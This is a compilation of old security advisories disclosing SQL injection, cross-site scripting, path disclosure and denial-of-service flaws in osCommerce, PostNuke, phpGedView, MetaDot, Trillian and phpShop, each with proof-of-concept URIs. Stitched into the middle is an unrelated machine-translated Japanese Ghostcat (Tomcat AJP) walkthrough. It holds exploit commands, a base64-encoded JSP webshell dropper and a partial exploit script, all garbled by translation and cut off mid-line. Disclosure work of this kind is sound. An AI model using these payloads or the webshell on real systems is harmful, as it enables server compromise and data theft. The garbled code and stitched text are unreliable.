Source: http://gulftech.org/advisories/osCommerce%20Multiple%20Vulnerabilities/19
osCommerce Multiple Vulnerabilities

Vendor: osCommerce
Product: osCommerce
Version: <= 2.2-MS2
Website: http://www.oscommerce.com

BID: 9275 9277 

Description:
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved. It is used by millions of people all around the world, and has been implemented into other web apps such as oscMall and OSC-Nuke. 

SQL Injection && Denial Of Service Vulnerability:
osCommerce 2.2 MS1 is vulnerable to SQL Injection vulnerability that can allow an attacker to (or have an unsuspecting user) influence SQL Queries and/or deny a legitimate user service. By sending a user a malformed URI an attacker can effectively deny a user legitimate access to their account. Below is an example URI and an explanation of the URI parameters. 

/default.php?cPath=[MID]&sort=5a&page=1&action=buy_now&products_id=[PID][JNK] 

[MID] = A Valid Manufacturer ID Number
[PID] = A Valid Product ID Number
[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS 

The Denial of service will cause an unremovable item to be placed in the users shopping cart. The next time that user logs out and logs back in they will be greeted with the following SQL error message. If a user is not logged in they will have an unremovable item until their session is terminated. If a user is not logged in, is sent the malicious URI, and then logs in they will have an unremovable item in their cart until the database is manually altered by an admin. If it is a 2.2 MS1 installation the query will execute.
1064 - You have an error in your SQL syntax. Check the manual that corresponds 
to your MySQL server version for the right syntax to use near '[Problem_Here]' 
and pd.products_id = p.products_id and pd.langu

select p.products_id, pd.products_name, p.products_model, p.products_price, 
p.products_weight, p.products_tax_class_id from products p, products_description 
pd where p.products_id='79'[Problem_Here]' and pd.products_id = p.products_id 
and pd.language_id = '1'
I have found NO WAY to have a normally functioning account after this attack is executed. Even if you are able to return to your shopping cart page you still cannot purchase items or view your shopping cart. Furthermore, an attacker can obviously use this flaw to possibly compromise the database, or even worse, have some unsuspecting customer run SQL queries for them. While this attack does not cause the SQL queries to be executed in osCommerce 2.2 MS2, it does allow for an attacker to execute a Denial Of Service attack on a user by placing an unremovable item in their shopping cart. Any webmasters experiencing this kind of attack can delete the malicious values from the "customers_basket" table, but be aware that will not stop any arbitrary SQL queries from being executed. Queries are not executed in osCommerce 2.2 MS2 because the addslashes() function is being used. However, someone out there may be able to figure something out ;) 

Cross Site Scripting:
Cross site scripting is present in osCommerce 2.2 MS1 An attacker can exploit this flaw by passing an invalid request to the Manufacturers ID parameter. An example of this can be seen below 

/default.php?manufacturers_id="><iframe src=http://www.gulftech.org> 

Solution:
Vendor was contacted an plans on releasing a fix this week. Please see their website at http://www.oscommerce.com for any details about the fix. 

Credits:
James Bercegay of the GulfTech Security Research Team. 





Source: http://gulftech.org/advisories/osCommerce%20Cross%20Site%20Scripting/15

osCommerce Cross Site Scripting

Vendor: osCommerce
Product: osCommerce
Version: <= 2.2-MS2
Website: http://www.oscommerce.com/

BID: 9238 

Description:
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved. 

Problem:
osCommerce is vulnerable to a XSS flaw. The flaw can be exploited when a malicious user passes a malformed session ID to URI. Below is an example of the flaw. 

https://path/?osCsid="><iframe src=http://www.gulftech.org></iframe> 

This condition seems to affect only secure https connections, but was confirmed by the developers to affect regular http connections in the current CVS version of osCommerce. 

Solution:
This is the response from the developer. 

To fix the issue, the $_sid parameter needs to be wrapped around tep_output_string() in the tep_href_link() function defined in includes/functions/html_output.php. 

Before:
if (isset($_sid)) { $link .= $separator . $_sid; } 

After:
if (isset($_sid)) { $link .= $separator . tep_output_string($_sid); } 

osCommerce 2.2 Milestone 3 will redirect the user to the index page when a malformed session ID is used, so that a new session ID can be generated. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
PostNuke Multiple Vulnerabilities

Vendor: PostNuke
Product: PostNuke
Version: <= 0.726 Phoenix
Website: http://www.postnuke.com

BID: 7047 

Description:
PostNuke is a popular Open Source CMS (Content Management System) used by millions of people all across the world. 

SQL Injection Vulnerability:
SQL Injection is possible by passing unexpected data to the "sortby" variable in the "members_list" module. This vulnerability may allow an attacker to manipulate queries as well as view the full physical path of the PostNuke installation. This is due to user input of the "sortby" variable not being properly sanitized. 

modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=[Evil_Query] 

Cross Site Scripting:
XSS is possible via the download module by injecting HTML or Script into the "ttitle" variable when viewing the details of an item for download. Example: 

name=Downloads&file=index&req=viewdownloaddetails&lid=[VLID]&ttitle=">[CODE] 

[VLID] = Should be the valid id number of a file for download.
[CODE] = Any script or HTML etc. 

Solution:
An update has been released regarding the SQL Injection vulnerability. The XSS vuln however will not be fixed until future releases of PostNuke as it is really not possible to Hijack a users PostNuke session using a stolen session ID, thus limiting the chances of this being harmful to any users or administrators. Much respect to the PostNuke Dev team and especially Andreas Krapohl aka larsneo for being very prompt and professional about issuing a fix for this immediately. The fixed may be obtained from the official PostNuke website at http://www.postnuke.com 

http://lists.postnuke.com/pipermail/postnuke-security/2004q1/000001.html 

Credits:
James Bercegay of the GulfTech Security Research Team.
            

1。脆弱性の説明

Apache Tomcatは、Apache Software Foundationの下でJakartaプロジェクトによって開発されたサーブレットコンテナです。デフォルトでは、Apache Tomcatは、AJPコネクタがAJPプロトコルを介して他のWebサーバーとの相互作用を促進できるようにします。ただし、Apache TomcatのAJPプロトコルの実装には脆弱性があります。これにより、攻撃者は悪意のあるAJPリクエストを送信することにより、Webアプリケーションのルートディレクトリにファイルを読み取るか、含めることができます。任意のフォーマットファイルがファイルにアップロードされている場合、任意のコード実行(RCE)につながる可能性があります。この脆弱性は、AJPサービスポートを利用して攻撃を実装します。 AJPサービスが有効になっていない場合、AJPサービスは脆弱性の影響を受けません(Tomcatは、デフォルトでAJPサービスを0.0.0.0/0に有効にします)。

2。危険レベル

高リスク

3。抜け穴の危険

攻撃者は、すべてのTomcat WebAppディレクトリの下で任意のファイルを読み取ることができます。さらに、Webサイトアプリケーションがファイルアップロード機能を提供する場合、攻撃者は最初に悪意のあるJSPスクリプトコードを含むファイルをサーバーにアップロードできます(アップロードされたファイル自体は、画像、プレーンテキストファイルなど、あらゆるタイプのファイルになります)。

iv。影響の範囲

Apache Tomcat 9.x 9.0.31

Apache Tomcat 8.x 8.5.51

Apache Tomcat 7.x 7.0.100

Apache Tomcat 6.x

5。前提条件

脆弱性インパクトバージョンの範囲内にあるTomcatの場合、AJPコネクタを有効にし、攻撃者がAJPコネクタサービスポートにアクセスできる場合、GhostCatの脆弱性に悪用されるリスクがあります。注tomcat AJPコネクタは、デフォルトの構成で有効になり、リスニングは0.0.0.0:8009です。

vi。脆弱性の原則

Tomcatには2つのコネクタがあります。つまり、HTTPとAJP:デフォルトのHTTPポートは8080です。これはHTTP要求を処理しますが、AJPデフォルトポート8009はAJPプロトコルからのリクエストを処理するために使用されます。 AJPはHTTPよりも最適化されており、主に逆、クラスタリングなどに使用されます。脆弱性は、TOMCAT AJPプロトコルの欠陥によって引き起こされます。攻撃者は、この脆弱性を使用して、特定のパラメーターを構築することにより、サーバーWebAppの下の任意のファイルを読み取ることができ、任意のファイルを含めることができます。特定のアップロードポイント、写真馬のアップロードなどがある場合は、シェルを入手できます

7。脆弱性分析

1。脆弱性原因分析:Tomcatのデフォルトのconf/server.xmlは2つのコネクタで構成されています。1つは8080の外部HTTPプロトコルポート、もう1つはデフォルトの8009 AJPプロトコルポートです。両方のポートは、デフォルトで外部ネットワークIPで監視されます。

下の図に示すように:

rmhxomyba5x7890.png

tomcatはorg.apache.coyote.ajp.ajpprocessorに電話して、AJPリクエストを受信するときにAJPメッセージを処理します。 PreperereQuestはAJPのコンテンツを取り出し、リクエストオブジェクトの属性プロパティに設定します。

下の図に示すように:

apivzcvci5d7891.png

したがって、この機能は、リクエストオブジェクトの次の3つの属性属性を制御するために使用できます

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

次に、対応するリクエストにカプセル化した後、下の図に示すようにサーブレットマッピングプロセスに従ってください。

u5djmms1ry27892.png

特定のマッピング方法は簡単です。自分でコードを表示できます。

2。UtilizationMethod :(1)、DefaultServletを使用して任意のファイルのダウンロードを実現します

URL要求がマッピングされたURLリストにない場合、以下の図に示すように、上記の3つのプロパティに従ってTomcatのデフォルトのデフォルトサーブレットが読み取られます。

llaeqgp2o5v7893.png

ServerSourceメソッドを介してリソースファイルを取得します

bskwchhcfbr7894.png

getRelativePathを介してリソースファイルパスを取得します

d4un0bbfi2f7895.png

次に、AJPによって制御される上記の3つの属性を制御することにより、ファイルが読み取られます。上記の3つの属性を操作することにより、クラス、XML、JAR、その他のファイルに限定されない /Web-INFの下のすべての機密ファイルを読み取ることができます。

(2)jspservletを介して接尾辞ファイルの包含を実装します

URL(http://xxx/xxx/xxx.jspなど)がorg.apache.jasper.servlet.jspservletサーブレットでマッピングする場合、図:に示すように上記の3つの属性を介してアクセスしたJSPファイルも制御できます。

joxolkvzmjh7896.png

パスを制御した後、ファイルはJSPで解析できます。そのため、RCEを実装するには、制御可能なファイルコンテンツを備えたファイルのみが必要です。

8。脆弱性の再発

1。環境準備(1)。 Windowsの下で繁殖する脆弱性の環境の準備、ここではTomcat-8.5.32が例として使用されます。

https://github.com/backlion/cve-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)JDKをインストールし、JDK環境を構成します

(3)その後、Tomcatを起動し、Tomcat Directory/Bin Folderの[起動]をクリックします。

tb1kgkdve4q7897.png

2。脆弱性の複製と利用(1)、任意のファイルを読む(WebAppsディレクトリのファイルをここで読むことができます)

root@kali2019:〜#git clone https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi

root@kali2019:〜#cd cnvd-2020-10487-tomcat-ajp-lfi/

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#python cnvd-20-10487-tomcat-ajp-lfi.py192.168.1.9 -p 8009 -f web-inf/web-inf.xml

z0msc5htjgi7898.pngROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F INDEX.JSP

pomoqg4n31x7899.png509ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F TEST.TXT

j15eay5d2rk7900.png2。任意のファイルには以下が含まれます:(これは少し役に立たないので、含めるにはファイルコンテンツをアップロードする必要があります)(1)最初に含める必要があるJSPファイルコードをアップロードします。これがIce Scorpion Pony(test.txt)です

以下は、test.txtファイルをルートディレクトリにアップロードするためです(脆弱性のデモンストレーションのために、このディレクトリにファイルを直接アップロードします。実際の環境では、ファイルのアップロード、TXTファイルのアップロード、脆弱性のエクスプロードを介してファイルを脆弱性にアップロードできます)

cpqfvkkdczi7901.png

test.txtファイルコンテンツ:

jsp:root xmlns:jsp='http://java.sun.com/jsp/page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com.sun.com.sun.com.sun.com.sun.com

jsp:directive.page contentType='text/html' pageencoding='utf-8'/

jsp:directive.page import='java.io。*'/

JSP:Directive.Page Import='Sun.Misc.Base64Decoder'/

htmlheadtitlefuck/title/head

ボディbgcolor='#ffffff'

//MIMA:PASS

jsp:scriptlet![cdata [

string realpath=request.getRealPath(request.getRequesturi());

文字列dir=new file(realpath).getParent();

string strpath=dir+'/t00ls.jspx';

ファイルstrfile=new file(strpath);

boolean filecreated=strfile.createNewfile();

ライターJSPX=new BufferedWriter(new FileWriter(Strfile));

文字列TMP='PGPZCDPYB290IHHTBG5ZOMPZCD0IAHR0CDOVL2PHDMEUC3VULMNVBS9KU1AVUGFNZSIGDMVYC2LVBJ0IMS4YIJ48ANNWOMRPCMVJDGL2ZS5WYWDLIGLTCG9YDD0IA Mf2ys51dglsliosamf2yxguy3j5chrvliosamf22yxguy3j5chrvlnnwzwmukiivpjxqc3a6zgvjbgfyyxrpb24+ingsyxnzifugzxh0zwzw5kcybdbgfzc0xvywrlcntvk ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexrliftdyil7cmv0dxjuihihihihihihihihihihihihihihihihlmrmrlzmluzunsyxnzkgismcxilmxlbmd07fx08l2pz cdpkzwnsyxjhdglvbj48annwonnjcmmlwdgxldd5pzihyzxf1zxn0lmdldfhcmftzxrlciggfzcyipit1udwxskxtdhjpbmcgaz0oiiilmmjvulelnjhbmbvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v55u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjtjtjtjtjtjtjiiptt uzxcgvsh0aglzlmdldensyxnzkkuz2v0q2xhc3nmb2fkzxiokskuzyhlmrvrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nelly29kzioks5knvnvzgnvzgnvzをvxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzx F1YWXZKHBHZ2VDB250ZXH0KTS8L2PZCDPZY3JPCHRSZXQ+PCC3A6CM9VDD4=';

string str=new String((new Base64Decoder())。DecodeBuffer(TMP));

string estr=java.net.urldecoder.decode(str);

jspx.write(estr);

jspx.flush();

jspx.close();

out.println(strpath);

]]/jsp:scriptlet

/体

/HTML

/jsp:root

(2)テストはtest.txtに直接アクセスできます

http://192.168.1.9:8080/test.txt

(3)POCを変更する必要があり、「/asdf」が「/asdf.jspx」に含まれています

https://github.com/backlion/cnvd-2020-10487-tomcat-ajp-lfi/blob/master/cnvd-2020-10487-tomcat-ajp-lfi.py

変更されたコードは次のとおりです。

#!/usr/bin/env python

#cnvd-2020-10487 tomcat-ajp lfi

#by ydhcui

インポート構造

#いくつかの参照:

#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

def pack_string(s):

sがne:の場合

return struct.pack( 'h'、-1)

l=len(s)

return struct.pack( 'h%dsb'%l、l、s.encode( 'utf8')、0)

def unpack(stream、fmt):

size=struct.calcsize(fmt)

buf=stream.read(size)

return struct.unpack(fmt、buf)

def upack_string(stream):

サイズ、=アンパック(ストリーム、 'h')

if size==-1:#null文字列

なしなし

res、=unpack(stream、 '%ds'%size)

stream.read(1)#\ 0

RESを返します

クラスNotFoundException(例外):

合格

クラスAJPBodyRequest(オブジェクト):

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

max_request_length=8186

def __init __(self、data_stream、data_len、data_direction=none):

self.data_stream=data_stream

self.data_len=data_len

self.data_direction=data_direction

def serialize(self):

data=self.data_stream.read(ajpbodyrequest.max_request_length)

Len(data)==0:の場合

return struct.pack( 'bbh'、0x12、0x34、0x00)

else:

res=struct.pack( 'h'、len(data))

RES +=データ

self.data_direction==ajpbodyrequest.server_to_container:の場合

header=struct.pack( 'bbh'、0x12、0x34、len(res))

else:

header=struct.pack( 'bbh'、0x41、0x42、len(res))

Header + Resを返します

def send_and_receive(self、socket、stream):

true:

data=self.serialize()

socket.send(データ)

r=ajpresponse.receive(stream)

while r.prefix_code!=ajpresponse.get_body_chunkおよびr.prefix_code!=ajpresponse.send_headers:

r=ajpresponse.receive(stream)

r.prefix_code==ajpresponse.send_headersまたはlen(data)==4:の場合

壊す

クラスajpforwardRequest(オブジェクト):

_、_、options、get、head、post、put、delete、trace、propfind、proppatch、mkcol、copy、move、lock、lock、unlock、acl、Report、version_control、checkin、checkout、uncheckout、search、mkworkspace、update、labe、merge、baseline_control、mkactivity=range(28)

request_methods={'get': get、' post ': post、 'head ': head、' options ': options、 'put ': put、' delete': delete、 'trace': trace}

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

common_headers=['sc_req_accept'、

'sc_req_accept_charset'、 'sc_req_accept_encoding'、 'sc_req_accept_language'、 'sc_req_authorization'、

'sc_req_connection'、 'sc_req_content_type'、 'sc_req_content_length'、 'sc_req_cookie'、 'sc_req_cookie2'、

'sc_req_host'、 'sc_req_pragma'、 'sc_req_referer'、 'sc_req_user_agent'

]

属性=['context'、 'servlet_path'、 'remote_user'、 'auth_type'、 'query_string'、 'route'、 'ssl_cert'、 'ssl_cipher'、 'ssl_session'、 'req_attribute'、 'ssl_key_size'、 'secret _meth_metheize'、

def __init __(self、data_direction=none):

self.prefix_code=0x02

self.method=none

self.protocol=none

self.req_uri=none

self.remote_addr=none

self.remote_host=none

self.server_name=none

self.server_port=none

self.is_ssl=none

self.num_headers=none

self.request_headers=none

self.attributes=none

self.data_direction=data_direction

def pack_headers(self):

self.num_headers=len(self.request_headers)

res=''

res=struct.pack( 'h'、self.num_headers)

hの場合

phpGedView Multiple Vulnerabilities

Vendor: phpGedView
Product: phpGedView
Version: <= 2.65 beta 5
Website: http://phpgedview.sourceforge.net


Description:
The phpGedView project parses GEDCOM 5.5 genealogy files and displays them on the Internet in a format similar to PAF. All it requires to run is a php enabled web server and a gedcom file. It is easily customizable for use on many different web sites. It is one of the top 10 most popular projects at SourceForge. 

SQL Injection Vulnerability:
phpGedView has a few files which are vulnerable to SQL injection. The vulnerable files are "timeline.php" and "placelist.php" The vulnerabilities are a result of input not being properly validated. The data given to these scripts are then executed by the "functions_mysql.php" file. As we can see below the $parent_id variable as well as the $level variable is passed directly into the query without being sanitized by the script at all in the "get_place_list()" function. 

//-- find all of the places
function get_place_list() {
global $numfound, $j, $level, $parent, $found;
global $GEDCOM, $TBLPREFIX, $placelist, $positions;

// --- find all of the place in the file
if ($level==0) $sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=0 
AND p_file='$GEDCOM' ORDER BY p_place";
else {
	$psql = "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=".($level-1)
	." AND p_place LIKE '".$parent[$level-1]."' AND p_file='$GEDCOM' ORDER BY 
	p_place";
	$res = dbquery($psql);
	$row = mysql_fetch_row($res);
	$parent_id = $row[0];
	$sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=$level AND 
	p_parent_id=$parent_id AND p_file='$GEDCOM' ORDER BY p_place";
}
$res = dbquery($sql);
while ($row = mysql_fetch_row($res)) {
	$placelist[] = stripslashes($row[0]);
	$numfound++;
}
}

Below are some URI's which can be used to exploit the issue explained in the paragraph above. Also included is a URI that triggers a somewhat similar SQL vulnerability in the "timeline.php" script. 

/placelist.php?level=1[Evil_Query]
/placelist.php?level=1&parent[0]=[Evil_Query]
/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
/timeline.php?pids=[Evil_Query] 

Path Disclosure Vulnerability:
There are a decent number of ways an attacker could disclose the full path of the web server, thus aiding in the information gathering process preceding an attack. Below are a list of the vulnerable scripts and proof of concept URI's to reproduce the condition. 

/indilist.php?alpha=\&surname_sublist=\
/famlist.php?alpha=(&surname_sublist=yes&surname=\
/placelist.php?level=1&parent[Blah]=
/imageview.php?zoomval=blah
/imageview.php?filename=/
/timeline.php?pids[Blah]=
/clippings.php?action=add&id=Blah
/login.php?action=login
/login.php?&changelanguage=yes&NEWLANGUAGE=Blah
/gdbi.php?action=connect&username=Blah 

Cross Site Scripting:
I have found over a dozen instances of Cross Site Scripting in phpGedView, but there is probably more. The impact of these vulnerabilities are self explanatory; they allow code execution in the context of the browser of someone viewing the malicious URI. Below are examples of the numerous XSS vulns. 

/descendancy.php?pid=<iframe>
/index.php?rootid="><iframe>
/individual.php?pid="><iframe>
/login.php?url=/index.php?GEDCOM="><iframe>
/relationship.php?path_to_find="><iframe>
/relationship.php?path_to_find=0&pid1="><iframe>
/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
/source.php?sid=<iframe>
/imageview.php?filename=<iframe>
/calendar.php?action=today&day=1&month=jan&year="><iframe>
/calendar.php?action=today&day=1&month=<iframe>
/calendar.php?action=today&day=<iframe>
/gedrecord.php?pid=<iframe>
/login.php?action=login&username="><iframe>
/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>
/gdbi_interface.php?action=delete&pid=<iframe> 

Denial Of Service:
It is also possible for an attacker to launch a DoS of sorts against a user who visits a certain URI. The vulnerability is in the language variable not being properly validated. If an attacker sends the following URI to a victim, they will not be able to access the phpGedView web site until they either clear their cookies, or manually reset the language settings by typing in a valid URI to reset the language back to something acceptable. The phpGedView website will not be able to be viewed by the victim until then. 

/index.php?&changelanguage=yes&NEWLANGUAGE=[Junk_Here] 

Or even one hundred million times more annoying is this :P 
/index.php?&changelanguage=yes&NEWLANGUAGE=<script>var i=1; while(i){alert(i);};</script> 

As I mentioned before though, it is possible to regain a normal session by manually typing in a value in the language variable that is acceptable to phpGedView. 

Solution:
These vulnerabilities have been addressed in the latest beta release. Users may obtain the latest beta version at 
http://sourceforge.net/project/showfiles.php?group_id=55456 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
MetaDot Multiple Vulnerabilities

Vendor: Metadot Corporation
Product: MetaDot
Version: <= 5.6.5.4b5
Website: http://www.metadot.com/

BID: 9439 

Description:
Metadot is a popular open source portal software (GPL) recognized for its revolutionary ease-of-use. It provides content management like file, page and link management, collaboration features like discussion forums and polls and personalization like My Yahoo. It is powered by Perl && MySQL. Users range from home users to government, banks, universities and even NASA ;) 

SQL Injection Vulnerability:
It may be possible for an attacker to influence SQL queries by passing unexpected data to certain variables including the "id" and "key" variable. Even if an attacker is not successful with influencing an SQL query he can cause the outputted error message to execute script into an unsuspecting users browser thus causing a Cross Site Scripting attack. Also, the SQL error messages reveal a great deal of data about the server. Below is an example error message. The URI used to create this error was index.pl?isa=Session&op=auto_login&new_user=&key='[Problem]
sqlSelect: SQL statement:

SELECT userid, lastonline, sessioninfo FROM sessions WHERE sessionid=''[Problem]' 
Error: You have an error in your SQL syntax near '[Problem]' ' at line 1 at 
/home/sharem/metadot/metadot/index.pl

DBAccess::DBIObj::sqlSelect('DBAccess::MySQL=HASH(0x85de6a8)', 'userid, lastonline, 
sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at 
/home/sharem/metadot/metadot/DBAccess.pm line 129 DBAccess::sqlSelect('DBAccess', 
'userid, lastonline, sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at 
/home/sharem/metadot/metadot/Session.pm line 508 Session::_initialize('Session=HASH(0xb1be85c)', 
'\'[Problem]') called at /home/sharem/metadot/metadot/Session.pm line 161 
Session::restore('Session', '\'[Problem]') called at 
/home/sharem/metadot/metadot/Metadot/SessionHandler/CookieSessionHandler.pm line 97 
Metadot::SessionHandler::CookieSessionHandler::restore_session('Metadot::SessionHandler:: 
CookieSessionHandler=HASH(0x8c443f8)', '\'[Problem]')called at 
/home/sharem/metadot/metadot/Metadot/ Authenticator.pm line 63 
Metadot::Authenticator::authenticate('Metadot::Authenticator::UserPassAuthenticator 
=HASH(0x9d34338)') called at /home/sharem/metadot/metadot/Portal.pm line 3863 
Portal::_web_init('Portal =HASH(0xb4c271c)') called at 
/home/sharem/metadot/metadot/Metadot/Implementations/Portal/Default.pm line 52 
Metadot::Implementations::Portal::Default::initialize('Metadot::Implementations::Portal::Default', 
'Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm line 2830 
Portal::_initialize('Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm 
line 160 Portal::new('Portal', 1) called at /home/sharem/metadot/metadot/index.pl line 43 
Apache::ROOT::metadot::index_2epl::handler('Apache=SCALAR (0xb421470)') called at 
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 eval {...} called at 
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 Apache::Registry 
::handler('Apache=SCALAR(0xb421470)') called at /dev/null line 0 eval {...} called at /dev/null 
line 0
Below are some examples URI's that will allow an attacker to influence queries, gather info or XSS. 

/index.pl?id=[Evil_Query]
/index.pl?iid=[Evil_Query]
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query] 

Information And Path Disclosure:
There is a great deal of information given up by interrupting the SQL query, but can also be caused in other ways than the previously mentioned. Lets look at /index.pl?iid=[ValidID]&isa=Discussion&op= Where [ValidID] is should be a valid id number such as 1000 or whatever it may be.
Software error: must provide operation name at 
/home/sharem/metadot/metadot/Auditable.pm line 
196 Auditable::is_allowed_to_do('Discussion=HASH
(0xae19218)', '', 'Metadot::User::FlexUser=HASH
(0xb414f70)', 1) called at 
/home/sharem/metadot/metadot/index.pl line 232 
Apache::ROOT::metadot::index_2epl::handler 
('Apache=SCALAR(0xacf893c)') called at 
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm 
line 149 eval {...} called at 
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm 
line 149 Apache::Registry::handler('Apache=SCALAR(0xacf893c)') 
called at /dev/null line 0 eval {...} called at /dev/null line 0
As you can see that will give you the server path, perl version and several other interesting bits of information. Path can also be disclosed by a bogus value in the "isa" variable. /index.pl?isa=blah 

Cross Site Scripting:
Cross Site Scripting: There are a number of potential cross site scripting issues in MetaDot. Below are some examples 

/index.pl?isa=XSS<iframe%20src=http://www.gulftech.org>
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe>
/index.pl?iid='"><iframe%20src=http://www.gulftech.org> 

Solution:
The MetaDot team have addressed this issue and an update was supposed to be released on Thursday the 8th of January. Users of the MetaDot portal system are encouraged to upgrade immediately. Users can get the necessary security fixes provided by MetaDot Corporation at the link below.	

http://www.metadot.com/metadot/index.pl?iid=2632&isa=Category 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
Trillian Pro Design Error

Vendor: Cerulean Studios
Product: Trillian Pro
Version: <= 2.01
Website: http://www.ceruleanstudios.com


Description:
Trillian is a multinetwork chat client that currently supports mIRC, AIM, ICQ, MSN, and Yahoo Messenger. It supports docking, multiline edit boxes, buddy alerts, multiple connections to the same medium, a powerful skinning language, easy importing of your existing contacts, skinnable emoticons, logging, global away/invisible features, and a unified contact list. It has a direct connection for AIM, support for user profiles, complete type formatting, buddy icons, proxy support, emotisounds, encrypted instant messaging to ICQ and AIM, AIM group chats, and shell extensions for file transfers. 

Problem:
Lets say you use Trillian to connect to Yahoo Instant Messenger. By default Trillian will pop up a window telling you that your Yahoo email account has new mail (if and when it does) If you click the link provided in the window you will notice that first it takes you to a HTML page created on your hard drive, that then sends a requests to Yahoo to log you in. For example: 

C:\Program Files\Trillian\users\default\cache\sfd0.html 

And if you open up this file in any type of text editor or the like you will clearly see the credentials in plaintext. 

<script>
  <!--
	var username;
	username='plaintextusernamehere';
	var password;
	password='plaintextpasswordhere';
		function submit () {
		document.getElementById('login').value=username;
		document.getElementById('passwd').value=password;
		document.getElementById('login_form').submit();
		};
  //-->
</script>

I have not spent a great deal of time looking into this matter, as it is of little interest to me, but what I have noticed is that this file is not deleted until Trillian is shut down. In the case of abnormal program termination, such as a crash the file may still be there. This file can be accessed by lower level users in most cases, and totally leaves the Yahoo credentials open to theft. This may also be the case with other accounts etc, but like I said I have not looked into it much. Just wanted to make aware of this as a great number of people use Yahoo for money, and business purposes as well as personal use. 

Solution:
I contacted Cerulean Studios a week or two ago about this, but I have not heard back from them at all. I would suggest not using this particular feature or shredding the temp file at best after logging in if you REALLY insist on using this feature. But that doesnt stop the credentials from being passed over the network in plaintext ... I imagine the guys at Cerulean Studios get swamped with emails, thus the no reply. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
Multiple Vulnerabilities

Vendor: phpShop Project
Product: 
Version: phpShop 0.6.1-b And Earlier
Website: http://www.phpshop.org/

BID: 9437 

Description:
phpShop is a PHP-based e-commerce application and PHP development framework. phpShop offers the basic features needed to run a successful e-commerce web site and to extend its capabilities for multiple purposes. phpShop uses a nice development framework that allows web developers to easily extend its functionality through the use of modules. Its web-box architecture makes it easy to understand and work with, while providing powerful function management capabilities for your web application needs. It is one of the most popular php SQL driven e-commerce solutions available today. 

SQL Injection Vulnerability:
phpShop is prone to SQL injection when updating a session. The issues can be exploited via injection of SQL Commands issued to the "page" variable. The same issue is also present when adding an item to the shopping cart via the "product_id" variable. While not as serious, the offset variable is also prone to SQL Injection. The offset injection is not likely to be exploited. Below are examples of the vulnerabilities mentioned above. 

/?page=[Evil_Query]
/?page=shop/cart&func=cartAdd&product_id=[Evil_Query]
/?page=shop/browse&category_id=&offset=[Evil_Query] 

It should also be noted that even if an attacker cannot successfully execute a malicious query, they can inject code thus allowing for Cross Site Scripting. 

User Information Disclosure Vulnerability:
It is possible for a user to gain a great deal of information about any customer by querying the "account/shipto" module. All that is required is to be logged in under a valid account. One can then also view the administrators information. As we can see from the below code, there is no check to see if the person querying the information belongs to the account he/she queries. 

<?php
	if ($user_info_id) {
		$q = "SELECT * from user_info WHERE user_info_id='$user_info_id'";
		$db->query($q);
		$db->next_record();
	}
?>

Example: /?page=account/shipto&user_info_id=[Valid User ID] 

The User ID's usually start around number 18 - 20 So it is easy to guess.An attacker can then view the info of any customer. The information includes; Address Nickname, Company Name, Last Name, First Name, Middle Name, Address, City, State, Zip Code, Country, Telephone, Fax Number. This is obviously not good and can be useful in aiding an attacker in other attacks, such as social engineering, and password enumeration. Not to mention it greatly violates the privacy of the customer. 

Script Injection Vulnerability:
